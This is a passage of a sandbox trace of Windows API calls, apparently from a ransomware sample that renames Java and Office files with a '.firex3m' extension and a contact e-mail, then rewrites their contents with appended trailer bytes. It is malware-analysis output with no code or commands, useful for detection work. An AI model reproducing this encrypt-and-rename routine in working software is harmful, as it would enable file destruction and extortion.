Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10d3c, dwReserved0=0x7408cab6, dwReserved1=0x0, cFileName="zipfs.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZIPFSJ~1.FIR")) returned 0x6d5200 [0118.721] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0118.722] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0118.722] GetProcessHeap () returned 0x630000 [0118.722] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72d3518 [0118.722] GetProcessHeap () returned 0x630000 [0118.722] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72de948 [0118.722] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.722] ReadFile (in: hFile=0x6cc, lpBuffer=0x72d3518, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesRead=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0123.039] GetProcessHeap () returned 0x630000 [0123.039] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0123.039] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.040] WriteFile (in: hFile=0x6cc, lpBuffer=0x72de948*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de948*, lpNumberOfBytesWritten=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0123.040] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.040] WriteFile (in: hFile=0x6cc, lpBuffer=0x72e9d47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9d47*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0123.040] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.040] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0123.040] CloseHandle (hObject=0x6cc) returned 1 [0123.042] GetProcessHeap () returned 0x630000 [0123.042] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72de948 | out: hHeap=0x630000) returned 1 [0123.045] GetProcessHeap () returned 0x630000 [0123.045] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0123.046] GetProcessHeap () returned 0x630000 [0123.046] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0128.554] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.554] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xf49e3b6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10d60, dwReserved0=0xdd07496, dwReserved1=0x72d3510, cFileName="zipfs.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZIPFSJ~1.FIR")) returned 0x6d5380 [0128.554] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0128.554] Sleep (dwMilliseconds=0x1) [0128.590] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif", len=0x4d | out: pbstr=0x2ffff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 1 [0128.590] GetProcessHeap () returned 0x630000 [0128.590] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xd0) returned 0x66a3e0 [0128.591] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0128.594] CloseHandle (hObject=0x4e8) returned 1 [0128.594] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.594] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.627] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.627] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x6d0033, dwReserved1=0x0, cFileName="win32_LinkDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WIN32_~4.FIR")) returned 0x6d4e00 [0128.627] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0128.627] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0128.627] GetProcessHeap () returned 0x630000 [0128.627] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc1) returned 0x6e88d0 [0128.627] GetProcessHeap () returned 0x630000 [0128.627] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc1) returned 0x6e8730 [0128.627] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.627] ReadFile (in: hFile=0x4e8, lpBuffer=0x6e88d0, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e88d0*, lpNumberOfBytesRead=0x2ffff0c*=0xa0, lpOverlapped=0x0) returned 1 [0128.629] GetProcessHeap () returned 0x630000 [0128.629] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0128.629] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.629] WriteFile (in: hFile=0x4e8, lpBuffer=0x6e8730*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e8730*, lpNumberOfBytesWritten=0x2ffff0c*=0xa0, lpOverlapped=0x0) returned 1 [0128.629] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.629] WriteFile (in: hFile=0x4e8, lpBuffer=0x6e87cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e87cf*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0128.629] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.629] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0128.629] CloseHandle (hObject=0x4e8) returned 1 [0128.634] GetProcessHeap () returned 0x630000 [0128.634] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0128.634] GetProcessHeap () returned 0x630000 [0128.634] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e88d0 | out: hHeap=0x630000) returned 1 [0128.634] GetProcessHeap () returned 0x630000 [0128.635] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0128.635] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.661] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x129f5249, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x2fffd20, dwReserved1=0x6e88d0, cFileName="win32_LinkDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WIN32_~4.FIR")) returned 0x6d5280 [0128.662] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0128.662] Sleep (dwMilliseconds=0x1) [0128.725] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf", len=0x43 | out: pbstr=0x2ffff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 1 [0128.725] GetProcessHeap () returned 0x630000 [0128.725] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xa8) returned 0x66a3e0 [0128.725] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0128.726] CloseHandle (hObject=0x70c) returned 1 [0128.726] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.726] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.726] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.726] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13bd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightItalic.ttf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LU5EA3~1.FIR")) returned 0x6d5040 [0128.727] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0128.727] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0128.727] GetProcessHeap () returned 0x630000 [0128.727] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72c5438 [0128.727] GetProcessHeap () returned 0x630000 [0128.727] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71805a8 [0128.727] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.728] ReadFile (in: hFile=0x70c, lpBuffer=0x72c5438, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c5438*, lpNumberOfBytesRead=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0136.893] GetProcessHeap () returned 0x630000 [0136.893] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0136.894] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.894] WriteFile (in: hFile=0x70c, lpBuffer=0x71805a8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x71805a8*, lpNumberOfBytesWritten=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0136.896] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.896] WriteFile (in: hFile=0x70c, lpBuffer=0x718b9a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x718b9a7*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0136.896] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.897] WriteFile (in: hFile=0x70c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0136.898] CloseHandle (hObject=0x70c) returned 1 [0136.904] GetProcessHeap () returned 0x630000 [0136.904] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71805a8 | out: hHeap=0x630000) returned 1 [0136.904] GetProcessHeap () returned 0x630000 [0136.904] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72c5438 | out: hHeap=0x630000) returned 1 [0136.904] GetProcessHeap () returned 0x630000 [0136.904] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0136.904] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.904] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x178d1648, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x13bfc, dwReserved0=0xdd07496, dwReserved1=0x72c5430, cFileName="LucidaBrightItalic.ttf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LU5EA3~1.FIR")) returned 0x6d5480 [0136.904] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0136.904] Sleep (dwMilliseconds=0x1) [0138.606] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml", len=0x6a | out: pbstr=0x2ffff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml") returned 1 [0138.606] GetProcessHeap () returned 0x630000 [0138.620] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a40) returned 0x72b0508 [0138.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic-palatino linotype.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0138.621] CloseHandle (hObject=0x5e4) returned 1 [0138.621] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.621] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic-palatino linotype.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic-palatino linotype.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.622] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.622] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1151b8e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1151b8e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe38, dwReserved0=0x74006e, dwReserved1=0x630061, cFileName="Century Gothic-Palatino Linotype.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CENTUR~3.FIR")) returned 0x6d5540 [0138.622] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0138.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic-palatino linotype.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0138.622] GetProcessHeap () returned 0x630000 [0138.622] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe41) returned 0x727c700 [0138.622] GetProcessHeap () returned 0x630000 [0138.622] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe41) returned 0x7281e30 [0138.622] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.622] ReadFile (in: hFile=0x5e4, lpBuffer=0x727c700, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x727c700*, lpNumberOfBytesRead=0x2ffff0c*=0xe20, lpOverlapped=0x0) returned 1 [0138.764] GetProcessHeap () returned 0x630000 [0138.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0138.764] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.764] WriteFile (in: hFile=0x5e4, lpBuffer=0x7281e30*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x7281e30*, lpNumberOfBytesWritten=0x2ffff0c*=0xe20, lpOverlapped=0x0) returned 1 [0138.764] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.764] WriteFile (in: hFile=0x5e4, lpBuffer=0x7282c4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x7282c4f*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.764] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.764] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.764] CloseHandle (hObject=0x5e4) returned 1 [0138.764] GetProcessHeap () returned 0x630000 [0138.764] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7281e30 | out: hHeap=0x630000) returned 1 [0138.764] GetProcessHeap () returned 0x630000 [0138.764] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727c700 | out: hHeap=0x630000) returned 1 [0138.764] GetProcessHeap () returned 0x630000 [0138.764] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0138.764] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.765] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1151b8e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1151b8e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18a7e05a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe5c, dwReserved0=0x2fffd20, dwReserved1=0x727c700, cFileName="Century Gothic-Palatino Linotype.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CENTUR~3.FIR")) returned 0x6d4e40 [0138.765] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0138.765] Sleep (dwMilliseconds=0x1) [0138.776] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx", len=0x5a | out: pbstr=0x2ffff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 1 [0138.776] GetProcessHeap () returned 